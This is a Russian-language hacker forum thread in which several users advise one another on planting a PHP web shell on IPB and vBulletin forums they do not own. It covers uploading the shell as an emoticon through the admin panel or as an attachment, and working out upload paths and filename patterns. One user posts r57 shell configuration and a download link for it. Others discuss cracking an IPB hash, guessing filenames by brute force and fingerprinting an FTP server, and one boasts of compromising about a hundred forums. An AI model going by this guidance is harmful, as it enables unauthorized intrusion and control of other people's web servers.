Вопрос про загрузку шелла в форуме IPB

[africanec]

подскажите

я загрузил файл но чтобы мне его открыть с форума
мне показывает ссылку тип(http://forum.*FBI*.ru/index.php?act=Attach&type=post&id=254
---------------------------------------
вопрос:как его запустить сдесь же далжна быть папка типа http://forum.***.com/../upload
как найти куда файлы загруженые копируються

[WizART]

Поставь себе такую-же версию формуа, загрузи файл тем же способом и посмотри куда он его залил, имхо так искать - сложно

[africanec]

да я так и делал НЕвышло

[Otaku]

Ты шелл вместо смайлика загрузил?
Или что?

[KEZ]

http://site/forum/html/emoticons/shell.php
если ты грузишь шелл как смайлик через админку
или
http://site/forum/uploads
для загрузки обычных файлов как аттач

[WizART]

кез вроде не так(( хотя хз...

[africanec]

http://site/forum/uploads
для загрузки обычных файлов как аттач
только там если есть ета директория то файлы грузяться
или вроде /uploads/myNAME/shell.php
или /uploads/myID
ну или типа того может и /uploads/nomer-file/shell.php
ктонить знает?

[WizART]

неее... вроде присвается отдельный номер аттачмента ваще, хотя как-то лагово тогда, а че спрашиваешь, перепробуй...

[africanec]

перепробывал получилось неожиданно

---------------------------------------
некто незнает где шелл можно скачать типа shell.jpg заливаешь и запускаешь
так вроде shell.jpg?cmd=

[africanec]

а куда аватар копируеться? в forum-chmorum/emoticons/mygadkiy.jpg TAK?

[WizART]

нет.
в /uploads/
например http://victim.ru/forum/uploads/av№.gif
№-это порядковый номер аватарки... хотя у тебя же шелл так что пох, в аплоадсах лежит...

[africanec]

как мне шел залить вместо смайлика?
там нету кнопки залить свои смайлик?

[WizART]

manage emoticons
управление смайликами
там внизу плин есть для заливки смайлов

[africanec]

там нет такого

[WizART]

это в админке тормоз :d

[SK | Heaton]

2 africanec если ты шелл грузишь как атач, тогда как сказал уже WizART в некоторых форумах например в vBulletin Version 2.x.x присваивается номер как в примере
http://site/forum/attachment.php?s=&postid=569 номер - 569
или в других форумах как говорил KEZ сохраняются в папке
http://site/forum/uploads
можешь вызвать по названию своего шелла.
З.Ы. Не которые шеллы дребуют установки лог, пасса и аутентификации.
пример


/* ~~~ Аутентификация ~~~ */

// $auth = 1; - Аутентификация включена
// $auth = 0; - Аутентификация выключена
$auth = 0;

// Логин и пароль для доступа к скрипту
// НЕ ЗАБУДЬТЕ СМЕНИТЬ ПЕРЕД РАЗМЕЩЕНИЕМ НА СЕРВЕРЕ!!!
$name='r57'; // логин пользователя
$pass='r57'; // пароль пользователя

Попробуй можь поможет вот ссылка к шеллу
http://rst.void.ru/download/r57shell.txt

[SanyaX]

там нет такого
Ты что гонишь только заходишь в админку. С боку администратирования => управление смайликами =>
потом в самый низ загрузить смайлик а ты указываешь web shell вот и всё. А KEZ говорил куда загружается шелл.

[africanec]

http://forum.*******.ru/index.php?act=Attach&type=post&id=254
и как его запустить ???

[k1b0rg]

дейсвительно, попробуй через смайлики и тогда оно занрузиться в
site.ru/forum/html/emoticons/твой файл

[africanec]

да я по всякому уже пробовал нету
папка аплодс то есть тока как и куда они там сохраняються
у меня есть правда хешь от ипб 2.0.1 но он неподбираеться
сальт бы? *и в отчаинье заплакал*

[Azazel]

Так и не понял куда ты его грузишь. Если в смайлы - во вторых версиях ipb они храняться в style_emoticons/default/ (кликни на любом смайле правой кнопкой). Если аттачем - пробовал как-то на 2.0.4 Не открывался он в uploads.

[WizART]

М-да... да если не получается че реветь то у меня таких форумов было штук 100 и что?? иногда такие проекты как http://gamershell.ru обидно конечно что не залил шелл, но что поделаешь...

[africanec]

да я понимаю что он в оплоадсах тока как он там храниться
через атачмент мож папка мож чонить файл имя сменил
а есть программа которая все файлы из папки бы смотрел
типа интелли темпер?

[africanec]

кароче понел я как он туда сохраняеться
правда небез труда зато и + есть понел немного рнр и
настройки аппача и mysql
------------------------------------------
только проблемы теперь в другом там файл менять чтото похожее на ето
post-2-1127594899.ipb
ето типа 2 фаил а первый был такой же тока последние 4444 цифры другие ща буду файлы грузить до как в том форуме id=254 под такимже юзером id=804 мож чо получиться или чемунь попутно научусь неожиданному

[WizART]

Чето я ниче не понял что ты сказал... повтори для тупых

[africanec]

вобщем он сохраняеться в аплоадсах вот так post-*id*-nomer.ipb
пример:post-2-1127594899.ipb
тоесть можно его запустить только надо знать имя файла
к примеру www.forum.cool-KAKER.ru/uploads/post-2-1127594899.ipb
----------------------------------------только одна проблема как узнать его имя
пока пробую наугад набирая в строке жаль нету такой програмы
которая бы подбирал по адрессу к примеру www.site.jp/uploads/post-id-(а тут бы подбор был к примеру с 1111111111 do 9999999999 *.ipb

[WizART]

Мда уж, и что тебе *.ipb дает?

[africanec]

какая разница что shell.php или shell.ipb работает одинаково
-------------------------------------------------------------------------------
да и вот почему мне нмап и хспайдер выдают на фтп сервер
что он FTP server а не его
ето же неможет быть виндовский фтп
вообщем вот
-------------------------------------------------------------------------------
- порт 21/tcp - ftp
сервер FTP - передача файлов (работает)
FTP Server [195.2.65.*** >>>
------------------------------------------
доступ анонимному пользователю запрещен

UNIX Type: L8 >>>
-как узнать что за фтп или мож кто знает подсобите

[Sn_key]

А нелегче проверить куда прогой Naviscope?
Или я что то непонимаю?

[africanec]

А нелегче проверить куда прогой Naviscope?
Или я что то непонимаю?
дай ссылку на прогу